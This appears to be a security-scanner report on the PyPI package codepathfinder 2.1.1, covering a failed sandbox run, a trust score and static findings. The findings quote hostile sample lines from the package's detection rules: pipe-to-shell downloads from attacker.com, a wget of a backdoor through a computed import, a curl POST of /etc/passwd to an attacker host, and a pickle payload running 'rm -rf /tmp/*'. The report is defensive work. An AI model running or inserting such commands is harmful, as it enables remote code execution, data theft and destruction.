Skills/PyPI/codepathfinder

codepathfinder@2.1.1

CAUTION· not started

Publisher claims: "Python SDK for code-pathfinder static analysis for modern security teams" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server) · listed in the official MCP RegistryPublisher shivasurya · publishing for 375 daysInstalls 429Last detonated 2 h ago

Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
install scripts, with decoy credentials in place · second launch with the clock 45 days ahead · the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
SECRET_KEYConfiguration, not credentials: FLASK_DEBUG, FLASK_ENV, VAR
Where it talks to
no vendor host named in the codeAlso mitre.org, owasp.org, vulnerable-app.com, palletsprojects.com — not the publisher's domain; check what for before connecting.
What we saw when it ran
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names mitre.org, owasp.org, vulnerable-app.com, palletsprojects.com as well as its own vendor. The guard injects SECRET_KEY only into requests to the host you bind (and its subdomains) and refuses the rest.

$vet-skills run --net declared -- uvx codepathfinder

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (3 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-19 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: OS command execution function call detected; OS command execution function call detected; OS command execution function call detected. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 1 s · 3 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessinstall script run in the sandbox
0.1sprocessexited 1: ModuleNotFoundError: No module named 'setuptools'
0.5sprocessdependency install exit 1 ·
0.5sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.5sprocessscript backend runs setup only
0.6sprocesssecond launch, clock +45 days, CI unset
0.8sprocessexited 1: ModuleNotFoundError: No module named 'setuptools'

Static findings

CRITICAL
OS command execution function call detectedrules/python/flask/debug_mode.py:242 · OS command execution function call detected (os.system via computed-import)4. Execute: __import__('os').system('wget attacker.com/backdoor.py')Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
OS command execution function call detectedrules/python/flask/debug_mode.py:91 · OS command execution function call detectedos.system('curl attacker.com/shell.sh | bash') # Reverse shellFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
OS command execution function call detectedcodepathfinder/python_rule_meta.py:94 · OS command execution function call detected"The os standard library module. os.system() and os.popen() always invoke a shell "Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
OS command execution function call detectedrules/python/flask/debug_mode.py:90 · OS command execution function call detectedos.system('cat /etc/passwd') # Read system filesFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Destructive file system command detectedrules/python/deserialization/pickle_loads.py:273 · Destructive file system command detectedreturn (os.system, ('rm -rf /tmp/*',))Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Pipe-to-shell patternrules/python/deserialization/pickle_loads.py:38 · Pipe-to-shell pattern — downloads and immediately executes remote codereturn (os.system, ('curl attacker.com/backdoor.sh | bash',))Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Python exec or eval of computed codecodepathfinder/python_rule_meta.py:1045 · Python exec or eval of computed code"evaluator for literals only. The builtins eval() and exec() execute arbitrary Python "Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST05
CRITICAL
Pipe-to-shell patternrules/python/deserialization/pickle_loads.py:104 · Pipe-to-shell pattern — downloads and immediately executes remote codecmd = 'curl attacker.com/shell.sh | bash'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Access to sensitive file pathsrules/python/flask/debug_mode.py:90 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesos.system('cat /etc/passwd') # Read system filesFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
CRITICAL
Pipe-to-shell patternrules/python/deserialization/pickle_loads.py:103 · Pipe-to-shell pattern — downloads and immediately executes remote code# Execute: curl attacker.com/shell | bashFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Command or code execution reached through reflection or a computed importrules/python/flask/debug_mode.py:242 · Command or code execution reached through reflection or a computed import: os.system4. Execute: __import__('os').system('wget attacker.com/backdoor.py')Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
CRITICAL
OS command execution function call detectedcodepathfinder/python_rule_meta.py:103 · OS command execution function call detected"signature": "os.system(command: str) -> int",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedcodepathfinder/cli/__init__.py:113 · Python subprocess execution detectedresult = subprocess.run([str(binary)] + sys.argv[1:])Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python exec or eval of computed codecodepathfinder/python_rule_meta.py:1046 · Python exec or eval of computed code"code — RCE sinks on user input. compile() produces code objects that reach exec()."Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST05
MEDIUM
Python exec or eval of computed codesetup.py:11 · Python exec or eval of computed codeexec(line, version)Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST05
CRITICAL
Pipe-to-shell patternrules/python/flask/debug_mode.py:91 · Pipe-to-shell pattern — downloads and immediately executes remote codeos.system('curl attacker.com/shell.sh | bash') # Reverse shellFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Python exec or eval of computed codecodepathfinder/python_rule_meta.py:361 · Python exec or eval of computed code"The main sinks are eval() and evalsha() which run Lua scripts — injection-sensitive "Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST05
MEDIUM
Python exec or eval of computed codecodepathfinder/python_rule_meta.py:1071 · Python exec or eval of computed code"signature": "exec(object, globals=None, locals=None) -> None",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST05
MEDIUM
Python exec or eval of computed codecodepathfinder/python_rule_meta.py:1054 · Python exec or eval of computed code"description": "Safely evaluates Python literals (str, int, list, dict, tuple, bool, None). Sanitizer replacement for eval().",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST05
HIGH
Access to sensitive file pathsrules/python/deserialization/pickle_loads.py:60 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filescmd = 'curl -X POST --data @/etc/passwd attacker.com/collect'Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python exec or eval of computed codecodepathfinder/python_rule_meta.py:1065 · Python exec or eval of computed code"signature": "eval(expression, globals=None, locals=None) -> Any",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST05
CRITICAL
OS command execution function call detectedcodepathfinder/python_rule_meta.py:109 · OS command execution function call detected"signature": "os.popen(command: str, mode: str = 'r') -> IO",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedcodepathfinder/python_rule_meta.py:28 · Python subprocess execution detected"signature": "subprocess.run(args, *, shell=False, capture_output=False, ...) -> CompletedProcess",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
File permission modification commandcodepathfinder/container_matchers.py:104 · File permission modification command — agent changes file ownership/permissionsif chown is not None:Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Python subprocess execution detectedcodepathfinder/python_rule_meta.py:34 · Python subprocess execution detected"signature": "subprocess.call(args, *, shell=False, ...) -> int",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedcodepathfinder/python_rule_meta.py:46 · Python subprocess execution detected"signature": "subprocess.check_output(args, *, shell=False, ...) -> bytes",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
File permission modification commandcodepathfinder/container_matchers.py:105 · File permission modification command — agent changes file ownership/permissionsparams["chown"] = chownFix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Remote installer piped to shellrules/python/flask/debug_mode.py:91 · Remote installer piped to shellos.system('curl attacker.com/shell.sh | bash') # Reverse shellFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Remote installer piped to shellrules/python/deserialization/pickle_loads.py:104 · Remote installer piped to shellcmd = 'curl attacker.com/shell.sh | bash'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
File permission modification commandcodepathfinder/cli/__init__.py:98 · File permission modification command — agent changes file ownership/permissionsf"Fix with: chmod +x {bundled}"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Python subprocess execution detectedcodepathfinder/python_rule_meta.py:52 · Python subprocess execution detected"signature": "subprocess.Popen(args, *, shell=False, ...) -> Popen",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
File permission modification commandcodepathfinder/cli/__init__.py:71 · File permission modification command — agent changes file ownership/permissionsf"Fix with: chmod +x {path}"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Remote installer piped to shellrules/python/deserialization/pickle_loads.py:38 · Remote installer piped to shellreturn (os.system, ('curl attacker.com/backdoor.sh | bash',))Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Remote installer piped to shellrules/python/deserialization/pickle_loads.py:103 · Remote installer piped to shell# Execute: curl attacker.com/shell | bashFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07

Cost to the agent

Instructions loaded
≈55 tok
1 file · 55 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for codepathfinder@2.1.1 as of 2 h ago. This is the package itself, not its dependencies.

What would make this Verified

12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. OS command execution function call detected≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  2. Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  3. Unclaimed publisher≈ +8 on the totalClaim shivasurya: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  4. Destructive file system command detected≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  5. Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  6. Command or code execution reached through reflection or a computed import≈ +4 on the totalReplace encoded or assembled strings with plain literals and remove undeclared network calls.
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